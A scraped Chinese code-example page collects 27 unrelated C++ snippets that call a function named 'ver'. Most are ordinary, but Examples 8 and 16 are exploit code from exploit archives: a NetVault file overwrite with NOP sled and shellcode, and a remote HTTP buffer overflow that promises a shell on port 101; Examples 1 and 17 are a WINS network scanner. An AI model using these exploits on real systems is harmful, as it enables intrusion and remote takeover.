这篇教程C++ ver函数代码示例写得很实用,希望能帮到您。
本文整理汇总了C++中ver函数的典型用法代码示例。如果您正苦于以下问题:C++ ver函数的具体用法?C++ ver怎么用?C++ ver使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。 在下文中一共展示了ver函数的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。 示例1: main/*HS_WINS 192.168.0.0HS_WINS 192.168.0.0 -vHS_WINS 192.168.0.0 -vvHS_WINS 192.168.0.0 192.168.0.255HS_WINS 192.168.0.0 192.168.0.255 -vHS_WINS 192.168.0.0 192.168.0.255 -vvHS_WINS 192.168.0.0 192.168.0.255 1000HS_WINS 192.168.0.0 192.168.0.255 1000 -vHS_WINS 192.168.0.0 192.168.0.255 1000 -vv*/int main(int argc,char *argv[]){ vvv=argv[3],vvv2=argv[4],vvv3=argv[2]; if (argc<2){ver();usage();return -1;} for (;;) { if (argc==2&&strlen(argv[1])>7&&strlen(argv[1])<16|| argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)|| argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]|| argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&(strcmp(vvv,"-v")==0||strcmp(vvv,"-vv")==0)|| argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000|| argc==5&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000&&(strcmp(vvv2,"-v")==0||strcmp(vvv2,"-vv")==0)) { if (argc==3&&strcmp(vvv3,"-v")==0||argc==4&&strcmp(vvv,"-v")==0||argc==5&&strcmp(vvv2,"-v")==0){bose++;} else if (argc==3&&strcmp(vvv3,"-vv")==0||argc==4&&strcmp(vvv,"-vv")==0||argc==5&&strcmp(vvv2,"-vv")==0){bose2++;} if (argc==2||argc==3&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)){ping++;} engine(argc,argv);break; } ver();printf("[+] wrong command line, type HS_WINS without arguments for the usage./n");return -1; }#ifdef WIN32 WSACleanup();#endif return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:36,
示例2: mainint main(int argc, char const *argv[]){ char input[15][30]; int argnum, i; pid_list.head=NULL; pid_list.tail=NULL; enqueue(getppid(),"NEW SHELL",&pid_list); signal(SIGCHLD,childdead); signal(SIGTSTP,susp); signal(SIGQUIT,cont); setpriority(PRIO_PROCESS,0,-20); ver(); while (run){ printf("=>"); for (argnum=0; (scanf("%s",&input[argnum]))==1;argnum++) if (getchar()=='/n') break; if (strcmp(input[0],"ver")==0 && argnum==0) ver(); else if (strcmp(input[0],"help")==0 && argnum==0) help(); else if (strcmp(input[0],"help")==0 && argnum==1) helpcmd(input[argnum]); else if (strcmp(input[0],"ps")==0 && argnum==0) ps(); else if (strcmp(input[0],"kill")==0 && argnum==1) mykill(atoi(input[1])); else if (strcmp(input[0],"exec")==0 && argnum!=0) for (i=1; i<=argnum; i++) exec(input[i]); else if (strcmp(input[0],"exit")==0 && argnum==0) myexit(); else printf("Nosuch command. Check help for help./n"); }}
开发者ID:dan-olsen,项目名称:ECE593J,代码行数:32,
示例3: verbool VersionManager::readSVDFromBuffer(const char* pBuffer,size_t size){ tinyxml2::XMLDocument doc; tinyxml2::XMLError ret = doc.Parse(pBuffer,size); if ( ret != tinyxml2::XML_SUCCESS ) { return false; } tinyxml2::XMLElement* pRootElement = doc.RootElement(); if ( pRootElement ) { for ( tinyxml2::XMLElement* pNode=pRootElement->FirstChildElement(); pNode; pNode=pNode->NextSiblingElement() ) { string eleName = pNode->Name(); if ( eleName == "ver" ) { VersionDef ver(pNode->GetText()); m_svd.ver = ver; } else if( eleName == "ip" ) { m_svd.ip = pNode->GetText(); } else if( eleName == "port" ) { m_svd.port = StringConverter::toInt(pNode->GetText()); } else if( eleName == "debug" ) { m_debug = StringConverter::toInt(pNode->GetText()); } if ( eleName == "ver_d" ) { VersionDef ver(pNode->GetText()); m_svd_d.ver = ver; } else if( eleName == "ip_d" ) { m_svd_d.ip = pNode->GetText(); } else if( eleName == "port_d" ) { m_svd_d.port = StringConverter::toInt(pNode->GetText()); } } return true; } return false;}
开发者ID:SmallRaindrop,项目名称:LocatorApp,代码行数:54,
示例4: try_prerelease_roll_forward_in_dirvoid try_prerelease_roll_forward_in_dir(const pal::string_t& cur_dir, const fx_ver_t& start_ver, pal::string_t* max_str){ pal::string_t path = cur_dir; if (trace::is_enabled()) { pal::string_t start_str = start_ver.as_str(); trace::verbose(_X("Reading prerelease roll forward candidates in dir [%s] for version [%s]"), path.c_str(), start_str.c_str()); } pal::string_t maj_min_pat_star = start_ver.prerelease_glob(); std::vector<pal::string_t> list; pal::readdir(path, maj_min_pat_star, &list); fx_ver_t max_ver = start_ver; fx_ver_t ver(-1, -1, -1); for (const auto& str : list) { trace::verbose(_X("Considering prerelease roll forward candidate version [%s]"), str.c_str()); if (fx_ver_t::parse(str, &ver, false) && ver.is_prerelease()) // Pre-release can roll forward to only pre-release { max_ver = std::max(ver, max_ver); } } max_str->assign(max_ver.as_str()); if (trace::is_enabled()) { pal::string_t start_str = start_ver.as_str(); trace::verbose(_X("Prerelease roll forwarded [%s] -> [%s] in [%s]"), start_str.c_str(), max_str->c_str(), path.c_str()); }}
开发者ID:krwq,项目名称:cli,代码行数:34,
示例5: mainmain (){ int opc; top = -1; do{ printf ("/n/n/n"); printf ("1. METER EN LA PILA (PUSH)/n/n"); printf ("2. SACAR DE LA PILA (POP)/n/n"); printf ("3. VER LA PILA/n/n"); printf ("4. SALIR/n"); printf ("/n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ /n"); printf (" Escoja una opcion /n"); scanf("%d", &opc); printf("/n/n"); switch (opc){ case 1 : push(); break; case 2: pop(); break; case 3: ver(); break; case 4: return; break; } } while (opc != 4);}
开发者ID:Petafloper,项目名称:pilaestaticaenc,代码行数:27,
示例6: bputsvoid sbbs_t::sys_info(){ char tmp[128]; uint i; stats_t stats; bputs(text[SiHdr]); getstats(&cfg,0,&stats); bprintf(text[SiSysName],cfg.sys_name); bprintf(text[SiSysID],cfg.sys_id); /* QWK ID */ for(i=0;i<cfg.total_faddrs;i++) bprintf(text[SiSysFaddr],smb_faddrtoa(&cfg.faddr[i],tmp)); if(cfg.sys_psname[0]) /* PostLink/PCRelay */ bprintf(text[SiSysPsite],cfg.sys_psname,cfg.sys_psnum); bprintf(text[SiSysLocation],cfg.sys_location); bprintf(text[SiSysop],cfg.sys_op); bprintf(text[SiSysNodes],cfg.sys_nodes);// bprintf(text[SiNodeNumberName],cfg.node_num,cfg.node_name); bprintf(text[SiNodePhone],cfg.node_phone); bprintf(text[SiTotalLogons],ultoac(stats.logons,tmp)); bprintf(text[SiLogonsToday],ultoac(stats.ltoday,tmp)); bprintf(text[SiTotalTime],ultoac(stats.timeon,tmp)); bprintf(text[SiTimeToday],ultoac(stats.ttoday,tmp)); ver(); if(yesno(text[ViewSysInfoFileQ])) { CLS; sprintf(tmp,"%ssystem.msg", cfg.text_dir); printfile(tmp,0); } if(yesno(text[ViewLogonMsgQ])) { CLS; menu("logon"); }}
开发者ID:ftnapps,项目名称:pkg-sbbs,代码行数:34,
示例7: main main (){ int opc; do{ printf ("/n/n/n"); printf ("1. METER EN LA COLA/n/n"); printf ("2. SACAR DE LA COLA/n/n"); printf ("3. VER COLA/n/n"); printf ("4. SALIR/n"); printf ("/n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ /n"); printf (" Escoja una opcion /n"); scanf("%d", &opc); printf("/n/n"); switch (opc){ case 1 : insertar(); break; case 2: eliminar(); break; case 3: ver(); break; case 4: return; break; } } while (opc != 4);}
开发者ID:Petafloper,项目名称:colaestaticaenc,代码行数:26,
示例8: mainint main(int argc,char *argv[]){ver();if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}if (check(argc,argv)==-1){return -1;}while (!feof(fl)){fgets(line, sizeof(line),fl);if (strstr(line,vul)){i++;j++;}if (i==2){strcpy(line,vul);memset(line+5,0x90,600);memcpy(line+252,esp,4);memcpy(line+16,fun,32);memcpy(line+260,scode1,strlen(scode1));memcpy(line+605,EOL,2);i=0;j++;}strcat(payload,line);}if (strstr(payload,vul)==NULL||j==1){printf("[+] /"%s/" isn't a default NetVault file../n",fp);return -1;}if (check2()==1){fprintf(fl,"%s",payload);printf("[+] /"%s/" correctly exploited/n",fp);printf("[+] a service restart is needed to execute the payload/n");}else printf("[+] can't write to /"%s/", something is wrong.../n",fp);return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:31,
示例9: verQString toOracleConnectionSub::version(){ QString ver("%1%2"); return ver .arg((int)_login->_server.versionNumber(), 2, 10, QChar('0')) .arg((int)_login->_server.releaseNumber(), 2, 10, QChar('0'));}
开发者ID:nguyentienlong,项目名称:tora,代码行数:7,
示例10: clvoidCommandEventHandler::handleLine(std::string line){ Logger::instance()->log("Recvd line: " + line); CommandLine cl(line); if (cl.cmd.empty()) return; std::string result(agentWarn("unknown command")); if (cl.cmd.compare("cat") == 0) result = cat(cl.args); else if (cl.cmd.compare("cd") == 0) result = cd(cl.args); else if (cl.cmd.compare("cwd") == 0) result = cwd(cl.args); else if (cl.cmd.compare("clok") == 0) result = clok(cl.args); else if (cl.cmd.compare("dirw") == 0) result = dirw(cl.args); else if (cl.cmd.compare("exec") == 0) result = exec(cl.args); else if (cl.cmd.compare("hash") == 0) result = hash(cl.args); else if (cl.cmd.compare("info") == 0) result = info(cl.args); else if (cl.cmd.compare("ps") == 0) result = ps(cl.args); else if (cl.cmd.compare("pull") == 0) result = pull(cl.args); else if (cl.cmd.compare("push") == 0) result = push(cl.args); else if (cl.cmd.compare("isdir") == 0) result = isDir(cl.args); else if (cl.cmd.compare("ls") == 0) result = ls(cl.args); else if (cl.cmd.compare("mkdr") == 0) result = mkdr(cl.args); else if (cl.cmd.compare("quit") == 0) result = quit(cl.args); else if (cl.cmd.compare("rebt") == 0) result = rebt(cl.args); else if (cl.cmd.compare("rm") == 0) result = rm(cl.args); else if (cl.cmd.compare("rmdr") == 0) result = rmdr(cl.args); else if (cl.cmd.compare("testroot") == 0) result = testroot(cl.args); else if (cl.cmd.compare("ver") == 0) result = ver(cl.args); if (!mBufSocket.sendClosed() && !mDataEventHandler) { // FIXME: It appears that DeviceManager will get confused if // the prompt isn't sent with the response for some commands. // I think this is a bug in DeviceManager, but it needs to be // further investigated. result += std::string(ENDL); result += mPrompt; mBufSocket.write(result.c_str(), result.size() + 1); }}
开发者ID:ahal,项目名称:nicholas-cAgent,代码行数:59,
示例11: DYNAMIC_DOWNCASTvoid CMainDialog::InitializeDisplay(void){ CCrashReporterApp* pApp = DYNAMIC_DOWNCAST(CCrashReporterApp, AfxGetApp()); ASSERT_VALID(pApp); m_Banner.SetTextColor(RGB(0,0,0)); m_Banner.SetBackgroundColor(RGB(255,255,255)); m_Banner.SetBold(TRUE); // get path to exe that crashed - we assume it is in same directory CString strExe = m_szModulePath; strExe += pApp->m_strUpdateItExe; // get version resource CMiniVersion ver(strExe); TCHAR szBuf[1000]; szBuf[0] = _T('/0'); // try to get description ver.GetFileDescription(szBuf, _countof(szBuf)-2); // if that failed try to get product name if (szBuf[0] == _T('/0')) ver.GetProductName(szBuf, _countof(szBuf)-2); ver.Release(); // if that failed just use exe name if (szBuf[0] == _T('/0')) _tcscpy(szBuf, pApp->m_strUpdateItExe); SetWindowText(szBuf); CString strBanner; strBanner.Format(_T("%s has encountered a problem and needs to close. ") _T("We are sorry for the inconvenience."), szBuf); m_Banner.SetWindowText(strBanner); m_Banner.SetMargins(22, 8); // get icon of crashed app HICON hIcon = ::ExtractIcon(AfxGetInstanceHandle(), strExe, 0); m_Icon.SetBackgroundColor(RGB(255,255,255), FALSE); if (hIcon) m_Icon.SetIcon(hIcon, FALSE); m_PleaseTellUs.SetBold(TRUE); m_What.SetLimitText(128*1024); // set edit box to 128 KB m_ClickHere.SetColours(m_ClickHere.GetLinkColour(), RGB(0,0,255), m_ClickHere.GetHoverColour()); m_ClickHere.EnableURL(FALSE); m_ClickHere.EnableTooltip(FALSE); m_ClickHere.SetNotifyParent(TRUE);}
开发者ID:zephyrer,项目名称:update-it,代码行数:59,
示例12: vervoid App::onUpdateCheckFinished(QNetworkReply* reply){ QRegularExpression ver("(//d+)//.(//d+)//.(//d+)([a-z]|)"); if (!ver.match(GITTAG).hasMatch()) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Current build is not tagged to any particular version."); return; } auto current = ver.match(GITTAG).capturedTexts(); if (reply->error() != QNetworkReply::NoError) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Connection failed."); return; } QJsonParseError err; auto out = QJsonDocument::fromJson(reply->readAll(), &err); if (err.error != QJsonParseError::NoError) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Could not parse JSON file."); return; } auto latest = out.array()[0].toObject(); auto update = ver.match(latest["tag_name"].toString()).capturedTexts(); bool available = false; // Check for numerical superiority for (int i=1; i < 4; ++i) if (current[i].toInt() < update[i].toInt()) available = true; // Check for bug-fix release if (!update[4].isEmpty() && (current[4].isEmpty() || current[4] < update[4])) available = true; if (available) QMessageBox::information(NULL, "Update available", QString( "<b>Update available:</b><br>" "This is version %1<br>" "Version " "<a href=/"https://github.com/mkeeter/antimony/releases/%2/">" "%2</a> is available.").arg(current[0]) .arg(update[0])); else QMessageBox::information(NULL, "No update available", "No update is available at this time.");}
开发者ID:hansstam,项目名称:antimony,代码行数:58,
示例13: name/* virtual */ opera_update_checker::status::Status OAUCRequestImpl::AddProductUpdatePart(const UpdateDataProvider& provider){ try { if (!document_.RootElement()) { document_.Parse(update_request_root); if (document_.Error()) return opera_update_checker::status::StatusCode::FAILED; } TiXmlDocument temp; TIXML_STRING name(provider.GetProductName() ? provider.GetProductName() : ""); TIXML_STRING encoded_name; TIXML_STRING ver(provider.GetProductVersion() ? provider.GetProductVersion() : ""); TIXML_STRING encoded_ver; TIXML_STRING lang(provider.GetProductLanguage() ? provider.GetProductLanguage() : ""); TIXML_STRING encoded_lang; document_.EncodeString(name, &encoded_name); document_.EncodeString(ver, &encoded_ver); document_.EncodeString(lang, &encoded_lang); sprintf(shared_work_buffer, update_product_part_template, encoded_name.c_str() ? encoded_name.c_str() : "", encoded_ver.c_str() ? encoded_ver.c_str() : "", encoded_lang.c_str() ? encoded_lang.c_str() : ""); temp.Parse(shared_work_buffer); if (temp.Error()) return opera_update_checker::status::StatusCode::FAILED; OAUC_ASSERT(document_.RootElement() && document_.RootElement()->FirstChildElement()); TiXmlElement* child = document_.RootElement()->FirstChildElement(); while (opera_update_checker::system_utils::SystemUtils::strnicmp(child->Value(), "product", 7) != 0) { child = child->NextSiblingElement(); OAUC_ASSERT(child); } TiXmlElement* elm = temp.RootElement(); do { child->InsertEndChild(*elm); elm = elm->NextSiblingElement(); } while (elm); if (TiXmlElement* products = product_res_document_.RootElement()) child->InsertEndChild(*products); } catch (...) { return opera_update_checker::status::StatusCode::OOM; } return opera_update_checker::status::StatusCode::OK;}
开发者ID:prestocore,项目名称:browser,代码行数:58,
示例14: intfcTInt CAudioOutputControlTestClass::SetDRMConfigIntfc( CStifItemParser& aItem ){ TPtrC object; TInt error = KErrNone; TInt err = CMultimediaFactory::CreateFactory(iFactorys); if(error == KErrNone) { iLog->Log(_L("CMultimediaFactory::CreateFactory OK")); } else { iLog->Log(_L("CMultimediaFactory::CreateFactory [%d]"),error); } error = iFactorys->CreateSourceControl( KDataBufferSourceControl, iSourceControl ); if(error == KErrNone) { iMDataBufferSource = static_cast<MDataBufferSource*>(iSourceControl); } if(error != KErrNone) { iLog->Log(_L("CreateSourceControl [%d]"),error); } if (iMDataBufferSource) { if (iDRMConfigIntfc) { delete iDRMConfigIntfc; iDRMConfigIntfc = NULL; } TAny* intfc(NULL); TVersion ver(KDRMConfigIntfcMajorVer1, KDRMConfigIntfcMinorVer1, KDRMConfigIntfcBuildVer1); TInt status = iMDataBufferSource->GetInterface(KDRMConfigIntfc, ver, intfc); if (status == KErrNone) { iDRMConfigIntfc = (CDRMConfigIntfc*)intfc; } } error = iAudioOutputControlUtility->SetDRMConfigIntfc(iDRMConfigIntfc); if(error == KErrNone) { FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc "))); iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc ")); } else { FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error)); iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error); } return error;}
开发者ID:kuailexs,项目名称:symbiandump-mw2,代码行数:58,
示例15: unpack_booleanstatic inline boolunpack_boolean(serial_context *ser_cont, bool in, as_val **out){ if (VERBOSE) { ver("%sBoolean %s", indent(ser_cont), in ? "true" : "false"); } return unpack_integer(ser_cont, in ? 1 : 0, out);}
开发者ID:aerospike,项目名称:aerospike-tools-backup,代码行数:9,
示例16: mainint main(int argc,char *argv[]){ ver(); if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;} if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;} int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c; char *target, *os; if (argc==4){port=atoi(argv[3]);} else port=80; if (atoi(argv[1]) == 1){target=espxp1en;os="WinXP SP1 English";} if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";} if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";} SOCKET s; struct fd_set mask; struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;} cout<<"[+] target: "<<os<<endl; server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;} case 0: {cout<<"[+] connection failed."<<endl;closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { cout<<"[+] connected, constructing the payload..."<<endl; Sleep(1000); sizeA=1787; sizeB=414-sizeof(scode); sizeC=10; sz=sizeA+sizeB+sizeC+sizeof(scode)+17; memset(payload,0,sizeof(payload)); strcat(payload,"GET "); for (a=0;a<sizeA;a++){strcat(payload,"/x41");} strcat(payload,target); for (b=0;b<sizeB;b++){strcat(payload,"/x41");} strcat(payload,scode); for (c=0;c<sizeC;c++){strcat(payload,"/x41");} strcat(payload," HTTP/1.1/r/n/r/n"); Sleep(1000); if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;} Sleep(1000); cout<<"[+] size of payload: "<<sz<<endl; cout<<"[+] payload send, connect the port 101 to get a shell."<<endl; return 0; } } closesocket(s); WSACleanup(); return 0;}
开发者ID:atassumer,项目名称:Python-Exploit-Search-Tool,代码行数:57,
示例17: engineint engine(int argc,char *argv[]){ ver(); if (chk()==-1){ver();printf("[+] WARNING! can't create/write HS_WINS.txt, aborting../n");return -1;} ipstart=htonl(inet_addr(argv[1])); if (ping==1){ipstop=htonl(inet_addr(argv[1]));} else ipstop=htonl(inet_addr(argv[2])); if (ipstart>ipstop){printf("[+] wrong command line, type HS_WINS without arguments for the usage./n");return -1;} fprintf(fplog,"----------------------------------------------------------------------------/nCOMMAND: "); for (int argccmp=0;argccmp<argc;argccmp++){fprintf(fplog,"%s ", argv[argccmp]);} fprintf(fplog,"/n----------------------------------------------------------------------------/n/n"); fflush(fplog); if (argc==4&&bose==0&&bose2==0||argc==5){thread=atoi(argv[3]);} else thread=200; scan=(ipstop-ipstart)+1; for (tip=ipstart;ipstart<=ipstop;ipstart++,tip++,nub++,mthread++,scanend++) { if (tip%256==0||tip%256==-1){scanend--;scan--;nub--;mthread--;continue;} for (;;){if (mthread>=thread){sl(4);} else break;}// sl(1);#ifdef WIN32 CWinThread* pthread=AfxBeginThread(engine2,LPVOID(tip));#else pthread_create(&pthread,NULL,engine2,(void*)tip);#endif if (se>20){printf("[+] too many socket errors, check your system configuration, aborting../n");break;} }#ifdef WIN32 for(;;){ if (done2>25){printf("[+] status..: %d%s thread(s):%d (freezing, supposed done..) /n",(scanend)*100/(scan),pcent,mthread);break;} if (mthread!=0){sl(1);printf("[+] status..: %d%s thread(s):%d /r",(scanend)*100/(scan),pcent,mthread); if (mthread==mfreeze&&(mthread!=0||mfreeze!=0)){done2++;}else{mfreeze=mthread;}continue;} else {printf("[+] status..: %d%s thread(s):%d /n",(scanend)*100/(scan),pcent,mthread);break;} }#endif printf("[+] results.: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)/n",ok,nub,ok2,ok3,k3,k0,t4); fprintf(fplog,"----------------------------------------------------------------------------/n"); fprintf(fplog,"Scan complete: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)/n",ok,nub,ok2,ok3,k3,k0,t4); fprintf(fplog,"------------------------------------------------[class101.org 2004-2005]----/n/n/n"); fflush(fplog); return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:43,
示例18: verCSession2* CDummyServer::NewSessionL(const TVersion& aVersion,const RMessage2& /*aMessage*/) const { TVersion ver(KCountServMajorVersionNumber,KCountServMinorVersionNumber,KCountServBuildVersionNumber); if (!User::QueryVersionSupported(ver,aVersion)) { User::Leave(KErrNotSupported); } return new (ELeave) CDummyServerSession; }
开发者ID:cdaffara,项目名称:symbiandump-mw2,代码行数:10,
示例19: kulloAssertbool Signer::verify( const std::vector<unsigned char> &data, const std::vector<unsigned char> &signature, const PublicKey &key) const{ kulloAssert(key.type() == AsymmetricKeyType::Signature); Botan::PK_Verifier ver(*key.p->pubkey, EMSA); return ver.verify_message(data, signature);}
开发者ID:kullo,项目名称:client-libkullo,代码行数:10,
示例20: ver/** * * Create new server session. * * @param "const TVersion &aVersion" * Server version (required) * * @return "CSharableSession*" * The created server session. * * @xxxx * */CMmfIpcSession* CTestFrameworkServer::NewSessionL(const TVersion &aVersion) const{ TVersion ver(KTestFrameworkServerMajorVersionNumber, KTestFrameworkServerMinorVersionNumber, KTestFrameworkServerBuildVersionNumber); if (!User::QueryVersionSupported(ver, aVersion)) User::Leave(KErrNotSupported); // make new session return new(ELeave) CTestFrameworkServerSession();}
开发者ID:kuailexs,项目名称:symbiandump-os1,代码行数:23,
示例21: _versionsPackage::Package(): _versions(max_t){ for(int t=0; t < max_t; t++) { Version::Ptr ver(new Version); ver->set_time(t); _versions[t] = ver; }}
开发者ID:Recmo,项目名称:depgraph,代码行数:10,
示例22: unpack_nilstatic inline boolunpack_nil(serial_context *ser_cont, as_val **out){ if (VERBOSE) { ver("%sNIL", indent(ser_cont)); } *out = (as_val *)&as_nil; return true;}
开发者ID:aerospike,项目名称:aerospike-tools-backup,代码行数:10,
示例23: GetGroupSVAPI_APIOBJECT GetGroup(string groupid,string user,string addr){ if(groupid.empty()||user.empty()||addr.empty()) return INVALID_VALUE; if(user.size()>MAXUSERLEN) return INVALID_VALUE; S_UINT ver(0); return GetGroupWithVer(groupid,user,addr,ver);}
开发者ID:SiteView,项目名称:eccmeteor,代码行数:11,
示例24: GetSVSESVAPI_API OBJECT GetSVSE(string id,string user,string addr){ if(atoi(id.c_str())<=0) return INVALID_VALUE; if(user.empty()||addr.empty()) return INVALID_VALUE; S_UINT ver(0); return GetSVSEWithVer(id, user, addr, ver);}
开发者ID:SiteView,项目名称:eccmeteor,代码行数:11,
示例25: verwxString MusikApp::ReadOldVersionFile(){ wxTextFile ver( MUSIK_VERSION_FILENAME ); wxString sRet; if ( ver.Open() ) { if ( ver.GetLineCount() != 0 ) sRet = ver.GetLine( 0 ); ver.Close(); } return sRet;}
开发者ID:BackupTheBerlios,项目名称:musik-svn,代码行数:12,
示例26: fill_versionvoid fill_version( U64 & version ){ version_t & ver( *(version_t *)&version ); std::tm data = NSSubWCRevProject::TimeNow; ver.time = std::mktime( &data ); ver.project = NSSubWCRevProject::Revision; ver.library = NSSubWCRevLib::Revision;#ifdef FOR_DEBUG ver.project |= 0x8000;#endif}
开发者ID:MuhamIR,项目名称:geochi_izmel,代码行数:12,
示例27: Tag Tag* Capabilities::tag() const { if( !m_valid || m_node.empty() ) return 0; Tag* t = new Tag( "c" ); t->setXmlns( XMLNS_CAPS ); t->addAttribute( "hash", m_hash ); t->addAttribute( "node", m_node ); t->addAttribute( "ver", ver() ); return t; }
开发者ID:Barrett17,项目名称:Caya,代码行数:12,
注:本文中的ver函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 C++ verbose函数代码示例 C++ velocity函数代码示例 |